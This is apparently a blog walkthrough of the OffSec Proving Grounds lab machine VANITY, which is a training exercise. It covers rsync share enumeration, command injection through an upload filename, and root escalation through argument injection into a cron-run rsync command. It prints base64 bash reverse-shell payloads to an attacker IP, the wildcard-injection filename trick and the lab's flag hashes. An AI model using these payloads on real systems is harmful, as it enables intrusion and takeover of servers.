Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - VANITY

·2106 words·10 mins·
OFFSEC PG PRACTICE RSYNC NMAP COMMAND INJECTION
Table of Contents

Summary
#

On port 873 is a rsync service running, sharing source code of the web application running on port 80. Analyzing the source code we’re able to use command injection to get initial access. Once on the target we find a bash script is run every minute as the root user. This script executes a rsync command in the /var/www/html/uploads/ directory. We can write in this directory and add a reverse shell that is executed by the cronjob using the -e option, to escalate our privileges to the root user.

Specifications
#

  • Name: VANITY
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • System overview: Linux vanity 5.4.0-120-generic #136-Ubuntu SMP Fri Jun 10 13:40:48 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.173.234
  • OFFSEC provided credentials: None
  • HASH: local.txt:15a185f2bd4bff2135d6c107da99522e
  • HASH: proof.txt:d1de0739edbc26becc0b349cc198f693

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir vanity && cd vanity && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Oct 13 18:53 .
drwxrwxr-x 91 kali kali 4096 Oct 13 18:53 ..
drwxrwxr-x  2 kali kali 4096 Oct 13 18:53 enum
drwxrwxr-x  2 kali kali 4096 Oct 13 18:53 exploits
drwxrwxr-x  2 kali kali 4096 Oct 13 18:53 files
drwxrwxr-x  2 kali kali 4096 Oct 13 18:53 tools
drwxrwxr-x  2 kali kali 4096 Oct 13 18:53 uploads

## set bash variable
ip=192.168.173.234

## ping target to check if it's online
ping $ip

PING 192.168.173.234 (192.168.173.234) 56(84) bytes of data.
64 bytes from 192.168.173.234: icmp_seq=1 ttl=61 time=21.0 ms
64 bytes from 192.168.173.234: icmp_seq=2 ttl=61 time=21.7 ms
^C
--- 192.168.173.234 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 20.963/21.350/21.737/0.387 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.173.234:22
Open 192.168.173.234:80
Open 192.168.173.234:873
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 18:54 CEST
Initiating Ping Scan at 18:54
Scanning 192.168.173.234 [4 ports]
Completed Ping Scan at 18:54, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:54
Completed Parallel DNS resolution of 1 host. at 18:54, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 18:54
Scanning 192.168.173.234 [3 ports]
Discovered open port 22/tcp on 192.168.173.234
Discovered open port 80/tcp on 192.168.173.234
Discovered open port 873/tcp on 192.168.173.234
Completed SYN Stealth Scan at 18:54, 0.05s elapsed (3 total ports)
Nmap scan report for 192.168.173.234
Host is up, received echo-reply ttl 61 (0.028s latency).
Scanned at 2025-10-13 18:54:00 CEST for 0s

PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 61
80/tcp  open  http    syn-ack ttl 61
873/tcp open  rsync   syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (160B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp  open  ssh     syn-ack ttl 61
80/tcp  open  http    syn-ack ttl 61
873/tcp open  rsync   syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80,873

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,873 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT    STATE SERVICE REASON         VERSION
22/tcp  open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
|   256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
80/tcp  open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Vanity Virus Scanner
873/tcp open  rsync   syn-ack ttl 61 (protocol version 31)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

873/tcp open  rsync   syn-ack ttl 61 (protocol version 31)

80/tcp  open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Vanity Virus Scanner

On port 873 is a rsync service running. Using nmap we can query the directory shares. This show two directories being shared: source and backup. Let’s dump the content in a new directory called dump. We can only dump the source directory, the backup directory is password protected.

## change directory
cd files

## query directory shares using nmap
nmap -sV --script "rsync-list-modules" $ip -p 873  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 18:57 CEST
Nmap scan report for 192.168.173.234
Host is up (0.020s latency).

PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)
| rsync-list-modules: 
|   source              Web Source
|_  backup              Virus Samples Backup

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds

## make directory
mkdir dump

## dumping content `/source` directory
rsync -av rsync://$ip:873/source ./dump              
receiving incremental file list
./
index.html
style.css
uploads/
uploads/upload.php

sent 96 bytes  received 4,002 bytes  2,732.00 bytes/sec
total size is 3,707  speedup is 0.90

## dumping content `/backup` directory
rsync -av rsync://$ip:873/backup ./dump
Password: 

## list content `./dump` directory
find ./dump                             
./dump
./dump/uploads
./dump/uploads/upload.php
./dump/style.css
./dump/index.html

When we view the ./dump/index.html in a browser (firefox ./dump/index.html) we see a Vanity Virus Scanner. That’s the same application that is hosted on port 80: (http://192.168.173.234/).

In the uploads directory, there is a upload.php file.

<?php

	//Check if the file is well uploaded
	if($_FILES['file']['error'] > 0) { echo 'Error during uploading, try again'; }
	
	
	//Set up valid extension
	$extsNotAllowed = array( 'php','php7','php6','phar','phtml','phps','pht','phtm','pgif','shtml','htaccess','inc');
		
	$extUpload = strtolower( substr( strrchr($_FILES['file']['name'], '.') ,1) ) ;

	//Check if the uploaded file extension is allowed
	
	if (in_array($extUpload, $extsNotAllowed) ) { 
        echo 'File not allowed'; 
		
	} 
    else {
        $name = "{$_FILES['file']['name']}";
        $result = move_uploaded_file($_FILES['file']['tmp_name'], $name);
        if($result){
            system("/usr/bin/clamscan $name");
        }
    }

?>

At the end of the script a system function is called to run a command /usr/bin/clamscan with the name of the file. Perhaps we can a command injection attack by uploading a file called 1;id to also run the id command after the /usr/bin/clamscan command. So, let’s first create that file.

## create file `1;id`
echo 1 > '1;id'

Now we go the web application, browse to the file and upload it by clicking on the Upload button.

After a little while, we indeed confirm that we have command injection.

Now, let’s send a reverse shell command. Once again, browse to the file 1;id, select it, but before uploading, start BURP, set the proxy to intercept and click Upload. Now send the request to the repeater tab. Before sending it we need to create a base64 encoded reverse shell command, which we’ll use in the BURP request.

## create a base64 encoded reverse shell command
echo -n 'bash -i  >& /dev/tcp/192.168.45.234/9001  0>&1  ' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4yMzQvOTAwMSAgMD4mMSAg

## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...

Copy the base64 encoded string, paste it in the following string: 1;echo -n 'YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4yMzQvOTAwMSAgMD4mMSAg'|base64 -d|bash and paste that string in the BURP request.

Click on Send to get initial access on the target as the www-data user in the /var/www/html/uploads directory.

## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.234] from (UNKNOWN) [192.168.173.234] 47802
bash: cannot set terminal process group (947): Inappropriate ioctl for device
bash: no job control in this shell
www-data@vanity:/var/www/html/uploads$ 

## find `local.txt` on the filesystem
www-data@vanity:/var/www/html/uploads$ find / -iname 'local.txt' 2>/dev/null
/var/www/local.txt

## print `local.txt`
www-data@vanity:/var/www/html/uploads$ cat /var/www/local.txt
15a185f2bd4bff2135d6c107da99522e

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.234

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target
## change directory
www-data@vanity:/var/www/html/uploads$ cd /var/tmp
www-data@vanity:/var/tmp$

## download `linpeas.sh`
www-data@vanity:/var/tmp$ wget http://192.168.45.234/linpeas.sh                         
--2025-10-13 17:48:20--  http://192.168.45.234/linpeas.sh
Connecting to 192.168.45.234:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                                          0%[                                                          linpeas.sh                                        100%[=============================================================================================================>] 939.29K  5.65MB/s    in 0.2s    

2025-10-13 17:48:20 (5.65 MB/s) - 'linpeas.sh' saved [961834/961834]

## set the execution bit
www-data@vanity:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
www-data@vanity:/var/tmp$ ./linpeas.sh 

The linpeas.sh output shows there is a bash script /opt/backup.sh run every minute by the root user. When we view this script it’s changing directory to /var/www/html/uploads/ and then running this rsync command: rsync --password-file=/root/passwd -a * rsync://vanity/backup/. The rsync command supports a -e option to run a command. So, we can add a file in the /var/www/html/uploads/ called: -e bash shell.sh and the command will be added to the cronjob command and run our bash shell containing a reverse shell command. This will escalate our privileges to the root user.

## print `/etc/crontab`
www-data@vanity:/var/tmp$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* *         * * *       root    bash /opt/backup.sh

## print `/opt/backup.sh`
www-data@vanity:/var/tmp$ cat /opt/backup.sh
cd /var/www/html/uploads/
rsync --password-file=/root/passwd -a * rsync://vanity/backup/

## change directory
www-data@vanity:/var/tmp$ cd /var/www/html/uploads/
www-data@vanity:/var/www/html/uploads$

## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.234

## echo the reverse shell command to 
echo '/usr/bin/bash -i >& /dev/tcp/192.168.45.234/9001 0>&1' > shell.sh

## create the `-e bash shell.sh` file
touch '/var/www/html/uploads/-e bash shell.sh'

## catch the reverse shell, after a minute of less
nc -lvnp 9001                                                  
listening on [any] 9001 ...
connect to [192.168.45.234] from (UNKNOWN) [192.168.173.234] 48034
bash: cannot set terminal process group (45613): Inappropriate ioctl for device
bash: no job control in this shell
root@vanity:/var/www/html/uploads#

## print `proof.txt`
root@vanity:/var/www/html/uploads# cat /root/proof.txt
d1de0739edbc26becc0b349cc198f693

References
#

[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Related

OFFSEC - Proving Grounds - DEVELOP
·4146 words·20 mins
OFFSEC PG PRACTICE GIT TCPDUMP COMMAND INJECTION IFS PYTHON WEBSERVER POST PWNKIT
Access Git repository on port 80 for credentials, login application on port 8080 and use command injection to retrieve a SSH key. Exploit CVE-2021-4034 to become root.
OFFSEC - Proving Grounds - FAIL
·2555 words·12 mins
OFFSEC PG PRACTICE RSYNC FAIL2BAN
Upload SSH key via rsync for initial access. Abuse fail2ban’s actioncheck in iptables-multiport.conf and trigger it by failed SSH logins to escalate to root.
OFFSEC - Proving Grounds - POSTFISH
·3193 words·15 mins
OFFSEC PG PRACTICE SMTP-USER-ENUM USERNAME_GENERATOR HYDRA IMAP IMAPS SENDEMAIL PWNKIT
Website PostFish on port 80 and SMTP on port 25 reveal usernames. Hydra finds credentials, sending an email with a reset link grants brian access. Pwnkit (CVE-2021-4034) escalates to root.
OFFSEC - Proving Grounds - RUSSIANDOLLS
·2291 words·11 mins
OFFSEC PG PRACTICE PATH TRAVERSAL NXC SUDO 1.9.14-17 CVE-2025-32463
On port 8080 the website loads images via local http URLs, found open port 4242 with FILE VIEWER app. Path traversal exposes passwords and allows access via SSH. sudo v1.9.15 exploited for root access using CVE-2025-32463 chroot escalation.
OFFSEC - Proving Grounds - PASSPORT
·2987 words·15 mins
OFFSEC PG PRACTICE FEROXBUSTER SSH2JOHN JOHN TMUX
Access website on port 80, extract credentials, log into FTP. Crack Luigi’s SSH key and gain initial access. Move laterally to luca and attach to a root tmux session for privilege escalation.
OFFSEC - Proving Grounds - SYBARIS
·1959 words·10 mins
OFFSEC PG PRACTICE FTP REDIS NXC PWNKIT
FTP on port 21 allows anonymous login and is writable. Redis 5.0.9 on port 6379 is exploitable by uploading a Redis module via FTP and exploit Redis for pablo access, then use pwnkit (CVE-2021-4034) to escalate to root.